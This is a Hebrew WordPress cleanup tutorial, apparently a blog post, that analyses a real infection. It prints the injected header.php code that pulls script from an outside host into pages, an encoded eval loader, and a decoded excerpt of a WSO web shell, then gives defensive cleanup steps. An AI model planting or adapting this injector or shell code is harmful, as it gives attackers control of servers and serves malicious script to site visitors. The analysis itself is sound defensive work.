להסיר WordPress וירוס PHP

הדרכה זו מציגה מקרה מסוים שבו בלוג WordPress זה היה נגוע. הֲסָרָה WordPress וירוס PHP.

לפני כמה ימים שמתי לב לקוד חשוד שנראה שהוא וירוס PHP עבורו WordPress. קוד ה-PHP הבא היה קיים ב- header.php, לפני הקו </head>.

<?php $wp_rssh = 'http'; $wp_gt = 'web'; error_reporting(0); ini_set('display_errors',0); $wp_uagent = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Firefox|MSIE/i', $wp_uagent) && preg_match ('/ NT/i', $wp_uagent))){
$wp_gturl=$wp_rssh."://".$wp_gt.$wp_rssh."s.com/".$wp_gt."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_uagent);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_gturl);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10); $wp_cntnt = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_cntnt,1,3) === 'scr' ){ echo $wp_cntnt; } ?>

זהו קוד PHP שנראה כאילו הוא מנסה לאחזר תוכן של משאב משרת חיצוני, אבל החלק שמתייחס לכתובת ה-URL אינו שלם.

מנגנון העבודה קצת יותר מורכב ועושה זאת WordPress וירוס PHP בלתי נראה למבקרים באתרים המושפעים. במקום זאת, הוא מכוון למנועי חיפוש (גוגל) ומוביל באופן מרומז לירידה משמעותית במספר המבקרים באתרים המושפעים.

פרטים על התוכנה הזדונית WordPress וירוס PHP

1. הקוד לעיל קיים ב header.php.

2. הופיע קובץ בשרת wp-log.php בתיקייה wp-includes.

3. wp-log.php מכיל קוד מוצפן, אך קל יחסית לפענוח.

<?php eval(gzinflate(base64_decode('7b1rd../Fw=='))) ?>

פענוח קוד תוכנה זדונית מ wp-log.php :

<?php
$auth_pass = "md5password";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler" );
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');

if(get_magic_quotes_gpc()) {
    function WSOstripslashes($array) {
        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
    }
    $_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}

function wsoLogin() {
    die("
<pre align=center-->

<form method="post"><input name="pass" type="password" /><input type="submit" value="" /></form>" );
}

function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}

if(!empty($auth_pass)) {
if(isset($_POST['pass']) &amp;&amp; (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}

if(strtolower(substr(PHP_OS,0,3)) == "win" )
$os = 'win';
else
$os = 'nix';

$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
?>

נראה שזהו סקריפט PHP זדוני המכיל קוד לטיפול באימות ופעולות על קבצים וספריות בשרת. ניתן לראות בקלות רבה שהתסריט הזה מכיל משתנים כמו $auth_pass (סיסמת אימות), $default_action (פעולת ברירת המחדל), $default_use_ajax (באמצעות Ajax כברירת מחדל) ו $default_charset (הגדרת תווים כברירת מחדל).

ברור שלסקריפט הזה יש קטע שבודק סוכני משתמשי HTTP לחסום גישה לבוטים מסוימים באינטרנט, כמו מנועי חיפוש. יש לו גם קטע שבודק את מצב האבטחה של PHP ומגדיר ספריות עבודה מסוימות.

4. אם ניגשים ל-wp-log.php בדפדפן, יופיע דף אינטרנט עם שדה של אימות. במבט ראשון נראה שמדובר במנהל קבצים שדרכו ניתן להעלות בקלות קבצים חדשים לשרת היעד.

איך מנטרלים אתר אינטרנט WordPress?

תמיד, תהליך דה-וירוס ידני כולל תחילה גילוי והבנה מה הייתה הפגיעות.

1. צור גיבוי לכל האתר. זה חייב לכלול גם את הקבצים וגם את מסד הנתונים.

2. קבע כמה זמן בערך הווירוס קיים וחפש בשרת האינטרנט קבצים שהשתנו או נוצרו לאחרונה בתוך מסגרת הזמן המשוערת.

לדוגמה, אם אתה רוצה לראות את הקבצים .php נוצר או שונה בשבוע האחרון, הפעל את הפקודה בשרת:

find /your/web/path -type f -mtime -7 -exec ls -l {} \; | grep "\.php$"

זוהי שיטה פשוטה שבה אתה יכול לחשוף את הקבצים WordPress נגועים וכאלה המכילים קוד תוכנה זדונית.

3. בדוק את הקובץ .htaccess של הוראות חשודות. שורות הרשאה או ביצוע סקריפט.

4. בדוק את מסד הנתונים. בהחלט ייתכן שחלק מהפוסטים והעמודים WordPress לערוך עם תוכנות זדוניות או חדשות משתמשים עם תפקיד של administrator.

5. בדוק את הרשאות הכתיבה עבור תיקיות וקבצים. chmod סי chown.

ההרשאות המומלצות הן: 644 עבור קבצים ו-755 עבור ספריות.

find /web/root/public/ -type f -exec chmod 644 {} \;
find /web/root/public/ -type d -exec chmod 755 {} \;

6. עדכן הכל WordPress Plugins / WordPress Themes.

מידע נוסף: Fix Redirect WordPress Hack 2023 (הפניה מחדש של וירוס)

אלו הן שיטות "בסיסיות" שבאמצעותן ניתן לבטל וירוס לאתר / בלוג WordPress. אם יש לך בעיות ואתה זקוק לעזרה, קטע ההערות פתוח.

כחובב טכנולוגיה, אני כותב בשמחה ב- StealthSettings.com מאז 2006. יש לי ניסיון עשיר במערכות הפעלה: macOS, Windows, ו- Linux, וגם בשפות תכנות ופלטפורמות בלוגינג (WordPress) ולסוחרת אלקטרונית (WooCommerce, Magento, PrestaShop).

איך » WordPress » להסיר WordPress וירוס PHP
השאירו תגובה